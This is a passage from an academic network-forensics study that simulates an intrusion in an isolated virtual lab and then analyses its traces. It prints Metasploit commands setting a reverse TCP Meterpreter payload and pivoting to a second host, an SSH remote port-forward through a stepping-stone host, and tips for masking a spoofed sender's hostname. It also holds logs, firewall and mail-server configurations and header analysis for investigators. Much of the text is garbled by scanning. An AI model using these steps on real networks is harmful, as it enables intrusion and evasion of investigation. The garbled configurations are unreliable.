towards attacking other neighboured hosts or dsvidéhe majority of the
traditional attacks are aiming at system servibas tun on specific ports. Being
outside of the network, makes this type of attaokpossible, because all
unsolicited traffic is filtered and normally droppeBut using the session of an
already compromised host enables the aggressanitiaté these direct attacks
from the inside instead. In that way, bugs foun@mother host can be exploited
by using the first successful session. To illugtridtis method, in this incident
Vict is participating in a multi-layering attack agadirise second corporate host
(Host).

#Multi-Layering

meterpreter>run get local_subnets

meterpreter>background

msf>use windows/smb/ms@6_066_nwapi

msf exploit(ms@6_066 nwapi)>set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms@6_066 nwapi)>set LPORT 3344

msf exploit(ms@6_066 nwapi)>set LHOST 198.51.100.6

msf exploit(ms@6_066_nwapi)>route add 203.0.113.24 255.255.255.248 1
msf exploit(ms@6_066 nwapi)>exploit

Fig. 10. Multi-Layering technique to attack via an alreabablished session.
3.3.3 Results

Looking at the full email headers of one of the sagges that was received by the
victim (appendices B.1.1 and B.2.1), it seems tiespite the fact that the sender
was successfully spoofed, the attacker’s hostnappears several times in the
Receivedrom entries and thé&lessage-ID However, most of these entries are
generated bylack itself. An easy way to overcome this issue, iehter fake
host and domain names next to the sender’s IParhigletc/hostdile. With this
slight modification, the email header looks as shomelow. The only point
where it is impossible to hide its true identitywhen the message is received by
the ISP’s SMTP server (Mail.isp.tier3). That medmst, unless a mail server is
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distrustful, this part of the header will alwaysopide reliable data, a fact also
discussed in section 2.3.2.

Received: from Mail.isp.tier3 (Mail.isp.tier3 [203.0.113.4])

by Dmz.corp.lan (Postfix) with ESMTP id AD77B6132

for <vict@corp.lan>; Sun, 23 Sep 2010 22:56:19 +0000 (UTC)
Received: from [198.51.100.6] (Black.black.lan [198.51.100.6])

by Mail.isp.tier3 (Postfix) with ESMTP id 59B896137

for <vict@corp.lan>; Sun, 23 Sep 2010 22:56:18 +0000 (UTC)
Message-ID: <4C9FCFC1.5070602@corp.lan>

Fig. 11. Headers of the phishing email delivered to theiwic

The first actions against these email abuse intsddeould be, first of all, to try
and match the IP found in the mail headers withakdvdomain. This can be
achieved by performing a reverse DNS lookup (rDN&hjch queries a DNS
server to determine the hostname from a given tPesms. The result could show,
for example, if this IP is associated with a dynamomain or a home internet
connection. Then, a WHOIS query to lookup any ratévdomain registrations,
could also reveal some information. Up until thisirg, it is possible to
determine and contact the ISP that was associatdd the abuser when the
emails were sent During the inspection of the SMsEPvers, the message id
(4C9FCFC1.5070602@corp.lanwhich remains unchanged, can be used to
locate the entries in both the local and the ISR seaiver. Obviously, this is not
a problem in this simulation which contains limitedffic, but in real situations
this search for matching data would be impossiliteout the help of identifiers.
In the same way, the local identifiad AD77B6132, id 59B89613¢an be used
to uniquely refer to the message in each specdfiees. In the unlikely situation
where the administrators are unable to retrievéuligkata from the mail server
logs, packet capturing and data control mechaniagsnaell as network device
logs can substitute the role of the mail serveslog

The result of these successful phishing attackshas the victim has disclosed
some sensitive information and put the whole caafmnetwork into risk. The

investigators, after making sure that the netwakoperating and the most
significant development systems are intact, thesuemthat there is no malicious
traffic exiting the gateway. Thus, connection bliogkis applied on the firewall

side, restricting suspicious communications thay rs@l be present. Then, the
logging services are accessed and logs of a spewifie frame around the
incident are extracted for deep investigation.

Apart from the IDS alert which usually initiatesstmvestigation, the rest of the
logs are inspected starting from the victim and mgwowards the ISP. More
specifically, at first there is a close inspectaithe victim’s machine. Since the
victim was completely unaware of the incident aodtcued to use the system,
the system evidence, if any, would hardly be ohgigant value. In most cases,
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the attacker will try to delete all system eviderefore leaving the scene. So,
the network collected evidence is probably the aeliable one.

In this infrastructure the logging points that ihgestigators can consult are the
following. The mail server useddail, Dmzrun both an smtp (postfix) and a pop
server (dovecat). The relevant log files arear/log/maillog and /var/log/
dovecot.logwhich respectively report failed or successful grdaliveries, and
established connections for message pulldgrp running a firewall (iptables-
fiaif) equipped with a ulog agent, reports rule latoons andwatched IP
activities in the/log/ulog/syslogemu.lodile. Nst is the main logging station
where an IDS sensor (Snort) is collecting intruserents, and a single tap
captures packets (Wireshark) storing them in a piti@p This host is also
equipped with reporting (BASE) and alerting (Snéinter) services. Finally the
ISP captures all network traffic with a network momi{gtraf)

In both attacks the malicious payload introducedthy exploit is thereverse
TCP meterpreterAccording to its operation, it initially commumites with the
attacker on a predefined listening port. This liskhen used to upload a server
software which interacts with the attacker and exes commands on his behalf.
In the first case, the address used Bigck is the actual one, therefore the
attacker is excessively exposed, as his IP addsessible in the packet captures
of Nst Of course, this is not a sign of intrusion, busivaluable evidence to be
used later, during the investigation. The rever&PTsession is obviously not
blocked by the firewall, since it matches nonetefrules. Suspicion is neither
raised by the IDS, which reports no warning urité point when a ping flood is
attempted. It has to be noted that even thoughneoder was used to mask the
embedded payload, neither the detection mechanmmshe operating system
produced any warnings. The only notice was giverth® victim by the PDF
reader. However, this is not likely to stop therusem proceeding, since there is
confidence that the sender is highly reputable.afert was raised by the very
last action of the attacker, sending large sizmho requestsonce every
millisecond to the corporate router. Of course ttosld be caused, for instance,
by a service having network MTU discovery enablealyever it raises suspicion
since it is situated in the internal network.

Black White Vict
198.51.100.6:2233" 192.0.2.2:2233 203.0.113.25
:80° & :80 &

13344 13344

Fig. 12. Blackinitiates remote SSH port forwarding.
The second attack was initiated through a stepgtoge. In other words, as

discussed in an earlier section, an already comisexrhost \\Vhite) was used to
mask the attacker’s actions. Meanwhile, traffic wedirected by forwarding all
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relevant ports from the victim to the abuser. Thewe was achieved through
remote SSH port forwarding. More specifically, dre Black.black.lanside the
command: 8sh -R 2233:localhost:2233" -R 80:localhost:80° 3B44:localhost
:3344° black@White.white.ldnwas issued. This instructed SSH to listen to the
ports: 2233, 80and 33440f White while all incoming connections to these ports
were being forwarded to the respective ones orattazker’'s machine. It should
be noted that when a TCP port is forwarded eitheally or remotely, the SSH
server listens, by default, only to connectionsiagrat the forwarded port on the
loopback addresdgcalhost 127.0.0.). This problem was resolved by enabling
GatewayPorts option at Whités SSH server configuration file/gtc/ssh/
sshd_confily which allows also remote hosts to connect toallomrwarded
ports. The port 2233 was used by the session 8steéhe port 80 is default one
used by the local webserver which hosts the claied and port 3344 was used
to attach the second listener during the multi-taatéack.

As a result, the IP address of the attacker wakeuaby White and hence, it is
completely missing from the recorded traffic of tberporate LAN. However,
the abuser seems to have overlooked somethingatrdoe was the one that sent
the email in the first place. This fact keeps hissaciated with the case, and
depending on the range of the investigation, thd ssaver logs might get him
traced. Of course normally nobody would initiate atack from his own host.
The intention here was to show how important isige all available information
and compare clues from different sources. The itnyason could then use the
ISP logs, to find the existence of the SSH tunmaeld prove the connection
between the attacker and the innocent steppingeston

As expected, during the multi-layer attack the figs show that the corporate
hosts were querying one another in unusual pord9,(#45). In other words,
according to the logs, in a first reading it apgetiat not eveiVhiteis involved

in the incident. However, if this is not due to @musual network issue, this host
behaviour would definitely indicate a security brlear at least the presence of
malware. This specific attack raised several ID&tal NETBIOS SMB IPC$
unicode share accesSnort classified this event asotocol-command-decode,
but searching through a malware signature dataliasas discovered that this
was very likely to be the case of an inbound explespecially because the
server message block (SMB) protocol, which providieared access of various
resources, is not implemented by this corporatevoid. In addition, the port
139 used in this attack is a red flag for admimisirs, since it denotes a
NetBIOS session service, which is a common targeintruders.

3.3.4 Ddimitations

In the first incident, after taking over the corpt® host, the attacker tries to
flood the router/firewall with successive ICMRcho requestmessages.
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Obviously, in order to be effective, a denial ofvsee attack of this nature would

require that the attacker is in possession of gelabandwidth than the target.

Here, the intention was not to perform a sophiséidaattack, but to simulate an

attempt that would, most likely, trigger an intraisialert and make the presence
of an attacker known.

One could argue that the IDS coverage in this daessgincomplete, as the
entering point of the network is left unwatcheddeéed, a typical production
network would require multiple IDS sensors to $gtal possible attack scenar-
ios. However, this approach was adapted to theeptesase study, which
involved indirect attacks. In any case though, ekpaicapture from any network
point could be tested for anomalies, if given asngit to Snort manually.

In order to avoid revealing the logging and supgon mechanisms, and make
the process better organised and secure, it idyhaglvisable that all the activity
retention should be concentrated at a central agtrétion point. For instance, a
syslogserver could be installed in a highly restrictedtpof the infrastructure,
being responsible for collecting all the event mpdrom every point of interest.
However, for practical reasons this is not impletednn the current case study.
Due to the small size of the network and the lowkea volume, it is more
straightforward for the administrator to secureycopa the SSH protocol, all the
local log files directly with no further overhead.

Two issues already discussed throughout the texthar absence of IP address
masquerading at the corporate gateway, and the EN&ving through static
hosts files. Both points were viewed in the spifitreducing the complexity of
the model. Concerning the first issue, an oppoagproach would result in a
double NAT; one in the corporate gateway and tiermwin the physical VMware
host. As for the DNS service, when we are sendktgraeally to the real Internet,
the OpenDNSservers are used for the sake of portability. dasthe virtual
network though, the small size of the infrastruetaflows the assumption that
the virtual network could work just as how netwovksre functioning before the
existence of DNS. This approach came at a priseesihere was special care
needed in the configuration of the email services.

Finally, apart from the discussion about the nelkwbridge @ridge.corp.lan
and the router simulation virtual machindSR.isp.tier3and Corp.corp.lan)
there was no special reference to network devicenfics. Network equipment
such as commercial routers and switches often glayucial role in investiga-
tions. However, this device analysis is usuallytsys specific and thus, more
relevant to system forensics, which is not covenedthis study. Network
equipment analysis includes restoring passwordsdeheted files, accessing log
and configuration files, and researching other nmfation sources such as
routing tables and VLAN databases [25].
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4. DISCUSSION

As it was highlighted in several sections of thacdment, redundancy plays a
significant role in the supervision of a networkorFnstance, combining a
firewall with an effective IDS or a packet analysgovides multiple layers of
control over data [27]. Especially when differenéchanisms, collection points
or sensors are spread through the network, therageeis increased whilst
captured data can be compared and correlated. S8en&al information for the
investigation, which has to be extracted from ratévogs, includes inbound and
outbound connections as well as network and systetiwity around the victim.
Both micro and macro viewpoints are equally impottio draw conclusions
about the incident. Therefore, high-level IDS rdépare usually as valuable as
deep packet analysis.

Generally, in a busy network it is impossible toalyse all captured data
manually. Special tools are therefore used to aatenthe process making it
possible to recognise attack patterns and locateifsp events [35]. In that way,
the investigator can focus on more critical taskshsas defining the time frame
of the incident, putting events on a timeline, gsalg high-level reports,
inspecting packet headers, searching in archivasparing data from different
sources, and making contacts with corporate depantsn network providers,
and authorities. Another good practice is to setetwork baseline when the
network is functioning properly. This will help tdiscover the occurrence of
incidents by detecting network anomalies.

In practice, one of the first actions during theident response is to access the
remote logs. In large networks this process is lsaatomated and centralised
by log correlation systems. Even though advanceadelaiion software is not
always affordable for small corporations, it praasda single point of search for
the investigator and enhanced security for the.lédter collecting and safely
storing all the relevant logs, the victim is insfggt When the incident does not
involve a crime or a serious fraud, the inspeci®masually done live to acquire
as much information as possible. One of the mogtomant stages of the
incident response is the definition of the timenfeaof the incident. This will
allow a correct interpretation of the evidence. Hetermining the sequence of
events, it is convenient to have all the systems metwork equipment timely
synchronised by using a special protocol such aB.Mbwever, if this is not the
case, post synchronisation is also possible bueriore consuming.

As it has been discussed in the anti-forensici@®can aggressor can affect the
investigation by challenging one or more of theefwsic analysis stages [36].
This can be achieved, first of all, by masking #teck and applying methods to
avoid detection. The attacker might also put inteesiion the reliability of
evidence being preserved or influence the dataisitipn process.
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5. CONCLUSIONS

The goal of this study was to provide an overviawtloe multidisciplinary field
of network forensics. As a first step in this diien, there was an effort to cover
in an adequate extent every topic related to thdecon and analysis of
network events. In the second part, a whole netvadrRifferent virtual boxes
was created, simulating an Internet incident inmals scale model. This mock
environment constitutes the ideal place to perfathkinds of tests, since it is
controlled and isolated from the real internet ficafMoreover, the powerful
open-source tools that have been deployed, enhblanalyst to create a whole
forensic laboratory with zero budget.

Network forensics is not synonymous with networlkcséy; it is the act of
responding to incidents. It is not about preventibris about finding out how
security was breached and taking appropriate measior the futureOften,
network forensics is nothing more than the appiocatf standardised processes
in a considerably narrow scope. Most cases arelédray adopting a metho-
dical and cautious approach to acquire, store aatlyse evidence. This sight of
network forensics changes completely though, winenanalyst has to confront
sophisticated hostile assaults. Then, the investigas not a method per se, but
it becomes a time critical matter requiring talemtd skills to perform live
inspections, interact with a wide spectrum of ddéf®@ systems, and manage
enormous amounts of information in an internaticsalle.
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APPENDIX A
A.1 Addressing

The virtual environment is using the following bksoof special-use addresses which
hereinafter will be referred to as public:

192.0.2.0/24  (TEST-NET-1)
198.51.100.0/24 TEST-NET-2)
203.0.113.0/24 (TEST-NET-3)

For the sake of simplicity, the two hosts -Whitel &lack- do not reside behind any
router/firewall, therefore they are directly contegtto the ISP router. To make their IP
addresses more recognisable, two different addpesses are used.

W:192.0.2.0/29 (White—ISP)
B: 198.51.100.0/29Black—ISP)

The TEST-NET-3 will be subnetted and used partifahjthe connection links between
different public networks. It should be noted teaén though the links between
different networks require only two host address#dyare does not allou30
masking. Hence, we usé2b masking. Using the mas65.255.255.248ne subnet is
created for the virtual-physical link and one foe tink between the ISP and the Corp
with a capacity of 6 host addresses each:

L1: 203.0.113.0/29 (Win7—ISP)
L2: 203.0.113.8/29 (ISP—Corp)

Another two subnet£2(03.0.113.16/2803.0.113.32/28are assigned to the Corp
network offering a capacity of 28 hosts. This addrepace is further divided by the
Corp to create 4 different networks, capable otihgs machines each.

C1:203.0.113.16/29Corp—-Bridge)
C2:203.0.113.24/29Bridge—Hosts)

C3:203.0.113.32/29Corp—Dmz)
C4:203.0.113.40/29Corp—Nst )

A.2 Configuration

A.2.1 Name Resolution

In order to have portability for the virtual netwer the OpenDNS servers are used
when the hosts are communicating with the internet.

[etc/resolv.conf

nameserver 208.67.222.222
nameserver 208.67.220.220
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hostsfile

Since the network size is limited, static hostsfilme used instead of local DNS servers
for the IP resolution of the hostnames. Dependimghe OS this file is located in:
Debian, Fedora based: /etc/hosts

Windows: c:\windows\system32\drivers\etc\hosts

198.51.100.6 Black.black.lan Black

192.0.2.2 White.white.lan White
203.0.113.9 ISP.isp.tier3 ISP

203.0.113.4 Mail.isp.tier3 Mail
203.0.113.17 Corp.corp.lan Corp
203.0.113.25 Vict.corp.lan Vict
203.0.113.26 Host.corp.lan Host
203.0.113.43 Nst.corp.lan Nst
203.0.113.18 Bridge.corp.lan Bridge
203.0.113.34 Dmz.corp.lan Dmz
193.11.209.242 win7

A.2.2 Bridge

Iroot/bridge.sh (scipt)

#1/bin/sh
#BRIDGE SCRIPT

echo Clearing the Interfaces
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
ifconfig eth2 0.0.0.0

echo Installing the Bridge

brctl addbr Bridge

brctl addif Bridge ethO

brctl addif Bridge ethl

brctl addif Bridge eth2

ifconfig Bridge up

ifconfig Bridge 203.0.113.18 netmask 255.255.258.24
route add default gw 203.0.113.17

ifconfig Bridge promisc
ifconfig ethO promisc
ifconfig ethl promisc

echo Acting as a Hub
brctl setageing Bridge 0
brctl setfd Bridge 0

clear;echo OK!
#EOF

-44 -



A.2.3 Corp
letc/networ k/interfaces

auto ethO

iface ethO inet static
address 203.0.113.10
netmask 255.255.255.248
network 203.0.113.8
broadcast 203.0.113.15
gateway 203.0.113.9

auto ethl

iface ethl inet static
address 203.0.113.17
netmask 255.255.255.248
network 203.0.113.16
broadcast 203.0.113.23

auto eth2

iface eth2 inet static
address 203.0.113.33
netmask 255.255.255.248
network 203.0.113.32
broadcast 203.0.113.39

Iroot/cor p.sh (scipt)

#!/bin/sh

echo Fixing 2-hop Routing

route add -net 203.0.113.24 netmask 255.255.25%24803.0.113.17
route add -net 203.0.113.40 netmask 255.255.25%24803.0.113.17
echo OK!

#EOF

/etc/networ k/options

ip_forward=yes
spoofprotect=no
syncookies=no

letc/fiaif/fiaif.conf (firewall configuration extract)

## Zone names. Only these zones are used.
ZONES="INT EXT DMZ"

## Zone cofiguration files.
CONF_INT=zone.int
CONF_EXT=zone.ext
CONF_DMZ=zone.dmz

## File to which commands are written when makingsa
TEST_FILE="/tmp/fiaif.out"

## You need to have the ulogd installed, to entiitefunctionality
ENABLE_ULOG=1
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## Specify location of "Type Of Services" file.
TOS_FILE=type_ of services

## In this file, aliases for IP numbers can be djget
ALIASES=aliases

[etc/fiaif/zone.int (extract from internal zone firewall rules)

NAME=INT
DEV=ethl
DYNAMIC=0
GLOBAL=1

## Network information.
IP=203.0.113.17
MASK=255.255.255.248
NET=203.0.113.16/255.255.255.248
BCAST=203.0.113.23

## Specifies extra networks in this zone (beside3 )N
NET_EXTRA="203.0.113.24/29 203.0.113.40/29"

## Specify if the zone should respond to DHCP eseri
DHCP_SERVER=0

### FROM *.corp.lan TO Corp

INPUT[0]="ACCEPT ALL 0.0.0.0/0=>0.0.0.0/0"

### FROM Corp TO *.corp.lan

OUTPUTI[0]="ACCEPT ALL 0.0.0.0/0=>0.0.0.0/0"

### FORWARD FROM EXT, DMZ TO *.corp.lan

FORWARDI[O]="ALL ACCEPT tcp https 203.0.113.2/32=>20.113.43/32"
FORWARDI[1]="ALL DROP ALL 0.0.0.0/0=>0.0.0.0/0"

## Log all traffic for these IP addresses
WATCH_IP="203.0.113.25/32 203.0.113.26/32"

letc/fiaif/zone.ext (extract from external zone firewall rules)

NAME=EXT
DEV=ethO
DYNAMIC=0
GLOBAL=1

## Network information.
IP=203.0.113.10
MASK=255.255.255.248
NET=203.0.113.8/255.255.255.248
BCAST=203.0.113.15
NET_EXTRA=""
DHCP_SERVER=0

## FROM ISP TO Corp

INPUT[0]="ACCEPT tcp smtp,www,https,ssh 0.0.0.0/@=6-0.0/0"
INPUT[1]="ACCEPT icmp echo-request 0.0.0.0/0=>0.0/0"
INPUT[2]="DROP ALL 0.0.0.0/0=>0.0.0.0/0"

## FROM Corp TO ISP
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OUTPUTI[0]="ACCEPT ALL 0.0.0.0/0=>0.0.0.0/0"
## FORWARD FROM INT, DMZ To ISP
FORWARDI[0]="ALL ACCEPT ALL 0.0.0.0/0=>0.0.0.0/0"

## Make special replies on incoming packets.

REPLY_AUTH="EXT tcp-reset tcp auth 0.0.0.0/0=>0.0/0"

REPLY_TRACEROUTE="EXT icmp-port-unreachable udp 3383464 0.0.0.0/0=>0.0.0.0/0"
## The rule applies only for packet originatingnfrthis zone.

REDIRECT_SSH="tcp 22 0.0.0.0/0=>0.0.0.0/0 203.0.3422"

## LIMIT_XX: Maximum average matching rate: spésif as a number

LIMIT_PING="EXT DROP 1/second 3 ICMP echo-requesi.0.0/0=>0.0.0.0/0"

letc/fiaif/zone.dmz (extract from demilitarised zone firewall rules)

NAME=DMZ
DEV=eth2
DYNAMIC=0
GLOBAL=1

## Network information.
IP=203.0.113.33
MASK=255.255.255.248
NET=203.0.113.32/255.255.255.248
BCAST=203.0.113.39
NET_EXTRA=""

DHCP_SERVER=0

### FROM Dmz TO Corp

INPUT[0]="ACCEPT tcp ssh 0.0.0.0/0=>0.0.0.0/0

INPUT[1]="REJECT ALL 0.0.0.0/0=>0.0.0.0/0"

### FROM Corp TO Dmz

OUTPUTI[0]="REJECT ALL 0.0.0.0/0=>0.0.0.0/0"

## FORWARD FROM EXT, INT TO Dmz

FORWARDI[0]="ALL ACCEPT tcp www,https,smtp,pop3 0000/0=>0.0.0.0/0"
FORWARDI[1]="ALL ACCEPT tcp ssh 0.0.0.0/0=>0.0.0.0/0
FORWARDI[2]="ALL DROP ALL 0.0.0.0/0=>0.0.0.0/0"

REPLY_AUTH="DMZ tcp-reset tcp auth 0.0.0.0/0=>0.0/0"

REPLY_TRACEROUTE="DMZ icmp-port-unreachable udp 332833464 0.0.0.0/0=>0.0.0.0/0"
## LIMIT_XX :Maximum average matching rate

LIMIT_PING="EXT DROP 5/second 10 TCP www,https @@/0=>0.0.0.0/0"

A.2.4 Nst

/etc/sysconfig/networ k-scripts/ifcfg-ethO

DEVICE=eth0
BOOTPROTO=static
ONBOOT=0n
IPADDR=203.0.113.42
NETMASK=255.255.255.248
NETWORK=203.0.113.40
BROADCAST=203.0.113.47
GATEWAY=203.0.113.17
TYPE=Ethernet
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/etc/sysconfig/networ k-scripts/ifcfg-ethl

DEVICE=ethl
BOOTPROTO=static
ONBOOT=0n
IPADDR=203.0.113.43
NETMASK=255.255.255.248
NETWORK=203.0.113.40
BROADCAST=203.0.113.47
GATEWAY=203.0.113.17
TYPE=Ethernet

/root/nst.sh (scipt)

#!/bin/sh

#NST Init

route add —host 203.0.113.17 dev eth0
route add default gw Corp

clear;echo OK!

#EOF

A.2.5 Black
Sendmail Client Configuration

/etc/mail/sendmail.mc

define(SMART_HOST', 'smtp:[203.0.113.4])dnl
FEATURE("accept_unresolvable _domains")dnl

FEATURE("accept_unqualified_senders')dnl

/etc/mail/submit.mc

define("confDIRECT_SUBMISSION_MODIFIERS', “C')dnl

apply configuration

m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf

m4 /etc/mail/submit.mc > /etc/mail/submit.cf
letc/init.d/sendmail restart

A.2.6 Mail.isp.tier3

The summary of the main configuration flegc/postfix/main.cbf the SMTP server is

displayed with thgpostconf —rcommand:

alias_maps = hash:/etc/aliases
command_directory = /usr/shin
config_directory = /etc/postfix
daemon_directory = /usr/libexec/postfix
debug_peer_level = 2

html_directory = no

inet_interfaces = all
local_recipient_maps =

mail_owner = postfix

mailg_path = /usr/bin/mailq
manpage_directory = /usr/share/man

mydestination = $myhostname, localhost.$mydomaialhost, white.lan, black.lan, isp.tier3
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mydomain = isp.tier3

myhostname = Mail.isp.tier3

mynetworks = 203.0.113.0/29, 203.0.113.8/29, 203816/29, 203.0.113.24/29, 203.0.113.32/29,
203.0.113.40/29, 127.0.0.0/8, 192.0.2.0/29, 198(HL0/29
myorigin = $mydomain

newaliases_path = /usr/bin/newaliases

queue_directory = /var/spool/postfix

readme_directory = /usr/share/doc/postfix-2.2.8/REE_FILES
sample_directory = /usr/share/doc/postfix-2.2.8f(dam
sendmail_path = /usr/sbin/sendmail

setgid_group = postdrop

smtp_host_lookup = native

transport_maps = hash:/etc/postfix/transport
unknown_local_recipient_reject_code = 550

A.2.7 Dmz.corp.lan

The summary of the main configuration flegc/postfix/main.cbf the local corporate
network SMTP server is displayed with {hestconf —rcommand:

alias_maps = hash:/etc/aliases

command_directory = /usr/shin

config_directory = /etc/postfix

daemon_directory = /usr/libexec/postfix

debug_peer_level =2

html_directory = no

inet_interfaces = $myhostname, localhost
local_recipient_maps =

mail_owner = postfix

mailg_path = /usr/bin/mailq

manpage_directory = /usr/share/man

mydestination = $myhostname, localhost.$mydomaiglhost, corp.lan
mydomain = corp.lan

myhostname = Dmz.corp.lan

mynetworks = 203.0.113.0/29, 203.0.113.8/29, 203816/29, 203.0.113.24/29, 203.0.113.32/29,
203.0.113.40/29, 127.0.0.0/8, 192.0.2.0/29

myorigin = $mydomain

newaliases_path = /usr/bin/newaliases

queue_directory = /var/spool/postfix

readme_directory = /usr/share/doc/postfix-2.2.8/REE_FILES
relayhost = [Mail.isp.tier3]

sample_directory = /usr/share/doc/postfix-2.2.8f(dam
sendmail_path = /usr/sbin/sendmail

setgid_group = postdrop

smtp_host_lookup = native
unknown_local_recipient_reject_code = 550
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APPENDIX B : Log Files

B.1 First Incident
B.1.1 Phishing Mail Headers

X-Account-Key: accountl
X-UIDL: 0000003f4c826794
X-Mozilla-Status: 0001
X-Mozilla-Status2: 10000000
Return-Path: <>
X-Original-To: vict@corp.lan
Delivered-To: vict@corp.lan
Received: from Mail.isp.tier3 (Mail.isp.tier3 [2@B113.4])
by Dmz.corp.lan (Postfix) with ESMTP id EF8A86132
for <vict@corp.lan>; Wed, 22 Sep 2010 23:07:376DQUTC)
Received: from Black.black.lan (Black.black.lan $1%1.100.6])
by Mail.isp.tier3 (Postfix) with ESMTP id 66716633
for <vict@corp.lan>; Wed, 22 Sep 2010 23:07:376DQUTC)
Received: from Black.black.lan (localhost [127.0]D.
by Black.black.lan (8.14.3/8.14.3/Debian-4) witSMTP id 08MN7aeK007292
for <vict@corp.lan>; Wed, 22 Sep 2010 19:07:370@4
Date: Wed, 22 Sep 2010 19:07:36 -0400
Message-ld: <201009222307.08MN7aeK007292@Blackbac>
Content-Type: multipart/mixed; boundary=" 1608841779=="
MIME-Version: 1.0
From: IT-Support@corp.lan
To: vict@corp.lan
Subject: [Corp-IT] Security Warning

B.1.2 Mail Server log (isp.tier3)

22-09-10 22:32:36 Postfix (SMTP) postfix-script ~ starting the Postfix mail system
22-09-10 22:32:36 Postfix (SMTP) master[1546] daemon started -- version 2.2.8, configuration /etc/postfix
22-09-10 23:07:37 Postfix (SMTP) smtpd[7287]  connect from Black.black.lan[198.51.100.6]

22-09-10 23:07:37 Postfix (SMTP) smtpd[7287]  667166133: client=Black.black.lan[198.51.100.6]

667166133: message-
id=<201009222307.08MN7aeK007292 @Black.black.lan>

22-09-10 23:07:38 Postfix (SMTP) gmgr[1570] 667166133: from=<>, size=83877, nrcpt=1 (queue active)

22-09-10 23:07:38 Postfix (SMTP) smtpd[1494]  disconnect from Black.black.lan[198.51.100.6]

to=<vict@corp.lan>, relay=Dmz.corp.lan[203.0.113.34],
delay=0, status=sent (250 Ok: queued as EF8A86132)

22-09-10 23:07:38 Postfix (SMTP) qmgr[1570] 667166133: removed

22-09-10 23:07:37 Postfix (SMTP)  cleanup[7289]

22-09-10 23:07:38  Postfix (SMTP)  smtp[7290]
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B.1.3 Local Mail Server logs (corp.lan)

Dmz-smtpl.log

22-09-10 22:32:36  Postfix (SMTP)
22-09-10 22:32:36  Postfix (SMTP)
22-09-10 23:07:37  Postfix (SMTP)
22-09-10 23:07:37  Postfix (SMTP)
22-09-10 23:07:37  Postfix (SMTP)
22-09-10 23:07:38  Postfix (SMTP)
22-09-10 23:07:38  Postfix (SMTP)
22-09-10 23:07:38  Postfix (SMTP)
22-09-10 23:07:38  Postfix (SMTP)

Dmz-pop1l.log

postfix-script
master[1487]
smtpd[1812]
smtpd[1812]

cleanup[1814]

smtpd[1812]
gqmgr[(1494]

local[1815]

gqmgr[1494]

starting the Postfix mail system
daemon started -- version 2.2.8, configuration /etc/postfix
connect from Mail.isp.tier3[203.0.113.4]

EF8A86132: client=Mail.isp.tier3[203.0.113.4]

EF8A86132: message-
id=<201009222307.08MN7aeK007292 @Black.black.lan>

disconnect from Mail.isp.tier3[203.0.113.4]
EF8A86132: from=<>, size=84052, nrcpt=1 (queue active)

EF8A86132: to=<vict@corp.lan>, relay=local, delay=1,
status=sent (delivered to mailbox)

EF8A86132: removed

22-09-10 22:32:29

Dovecot (POP)

22-09-10 23:09:51 Dovecot (POP)

22-09-10 23:09:52 Dovecot (POP)

B.1.4 Firewall log

Corp-fiafl.log

Dovecot v1.0.rc2 starting up
pop3-login: Login: user=<vict>, method=PLAIN, rip=203.0.113.25,
lip=203.0.113.34

POP3(vict): Disconnected: Logged out top=0/0, ref84145, del=0/1,
size=84127

All firewall entries are due to theatchedrule for the corporate host IPs.

22-09-10 23:09:45 203.0.113.25
22-09-10 23:12:29 203.0.113.25
22-09-10 23:19:16 203.0.113.25
22-09-10 23:19:16 203.0.113.25
22-09-10 23:19:17 203.0.113.25
22-09-10 23:19:17 203.0.113.25
22-09-10 23:19:20 203.0.113.25
22-09-10 23:19:21 203.0.113.25
22-09-10 23:24:34 203.0.113.25
22-09-10 23:33:13 203.0.113.25
IP FLOOD
22-09-10 23:33:15 203.0.113.25

1045 203.0.113.34 110 TCP 8 48
1046 198.51.100.6 443 TCP 0 48
1031 208.67.222.222 53 ubP 10 44
1047 63.245.209.91 443 TCP 0 48
1048 63.245.221.10 443 TCP 0 48
1049 208.97.49.66 80 TCP 0 48
1050 199.7.51.72 80 TCP 0 48
1051 199.7.51.72 80 TCP 0 48
1052 203.0.113.17 22 TCP 0 48

- 203.0.113.17 - ICMP 0 60

- 203.0.113.17 - ICMP 0 60
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B.1.5 Traffic Analysislog and Snort reports

Nst-capturel.cap
The packet capture file contains all packets treemaél through th8ridge.corp.lanbox.

In this extract it is evident that the attackePsdddress is visible in the network traffic.

22-09-10 23:09 203.0.113.34 203.0.113.25 TCP pop3 > fpitp [ACK] Seq=84340 Ack=79 Win=5840 Len=0
22-09-10 23:09 203.0.113.34 203.0.113.25 POP  S:+OK Logging out.

22-09-10 23:09 203.0.113.25 203.0.113.34 TCP  fpitp > pop3 [ACK] Seq=79 Ack=84359 Win=64222 Len=0
22-09-10 23:09 203.0.113.25 203.0.113.34 TCP  fpitp > pop3 [FIN, ACK] Seq=79 Ack=84359 Win=64222 Len=0
22-09-10 23:09 203.0.113.34 203.0.113.25 TCP pop3 > fpitp [ACK] Seq=84359 Ack=80 Win=5840 Len=0

22-09-10 23:09 Vmware_99:31:df  Vmware_f3:05:29 ARP  Who has 203.0.113.25? Tell 203.0.113.17
22-09-10 23:09 Vmware_f3:05:29  Vmware_99:31:df ARP 203.0.113.25 is at 00:0c:29:f3:05:29
22-09-10 23:12 Vmware_f3:05:29  Broadcast ARP  Who has 203.0.113.17? Tell 203.0.113.25
22-09-10 23:12 Vmware_99:31:df = Vmware_f3:05:29 ARP  203.0.113.17 is at 00:0c:29:99:31:df

22-09-10 23:12 203.0.113.25 198.51.100.6 TCP  wfremotertm > https [SYN] Seq=0 Win=64240 Len=0 MSS=1460

22-09-10 23:12 198.51.100.6 203.0.113.25 TCP  https > wfremotertm [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
22-09-10 23:12 203.0.113.25 198.51.100.6 TCP  wfremotertm > https [ACK] Seq=1 Ack=1 Win=64240 Len=0

22-09-10 23:27 203.0.113.25 203.0.113.17 IP Fragmented IP protocol (proto=ICMP 0x01, off=0, ID=033f)

22-09-10 23:27 203.0.113.25 203.0.113.17 IP Fragmented IP protocol (proto=ICMP 0x01, off=1480, ID=033f)

22-09-10 23:27 203.0.113.25 203.0.113.17 IP Fragmented IP protocol (proto=ICMP 0x01, off=2960, ID=033f)

22-09-10 23:27 203.0.113.25 203.0.113.17 IP Fragmented IP protocol (proto=ICMP 0x01, off=4440, ID=033f)

(PING FLOOD)
22-09-10 23:34 203.0.113.25 203.0.113.17 ICMP  Echo (ping) request
